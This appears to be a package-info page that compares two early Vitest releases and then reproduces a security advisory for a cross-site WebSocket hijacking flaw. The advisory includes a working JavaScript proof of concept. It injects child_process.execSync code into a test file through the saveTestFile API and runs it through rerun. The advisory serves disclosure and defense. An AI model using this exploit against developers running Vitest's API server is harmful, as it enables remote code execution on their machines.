Vitest, a rapidly evolving testing framework powered by Vite, released versions 0.0.16 and 0.0.17 within a few hours of each other in December 2021. Both versions share identical dependencies and devDependencies, indicating a focus on internal improvements or bug fixes rather than significant feature additions. Core testing tools remain consistent, including Chai for assertions, jsdom for DOM emulation, Sinon for spies and stubs, and fast-glob for file matching. Developers can expect familiar APIs and behavior across both versions.
The primary differences lie in metadata and packaging. Version 0.0.17 has a slightly smaller unpacked size (53597 bytes vs 55291 bytes) and fewer files in the tarball (56 vs 58), potentially suggesting optimizations in file structure or removal of unnecessary files. While both credit Anthony Fu as the author, version 0.0.17 provides a simplified author field with name and email directly, while 0.0.16 uses a nested structure. Crucially, the description in 0.0.16 includes a badge for the NPM version, which is absent in 0.0.17. The release dates show version 0.0.17 was published approximately 5 hours after version 0.0.16. Considering the minimal changes, developers can likely upgrade safely between these versions, but those relying on the version badge in the package description might need to adjust. This quick iterative release suggests a dedication to refining the testing experience.
All the vulnerabilities related to the version 0.0.17 of the package
Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening
Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.
When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46
This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76
calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});
// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
console.log(e.data)
})
ws.addEventListener('open', () => {
ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))
const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"
// edit file content to inject command execution
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "saveTestFile",
a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
}))
// rerun the tests to run the injected command execution code
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "rerun",
a: [testFilePath]
}))
})
This vulnerability can result in remote code execution for users that are using Vitest serve API.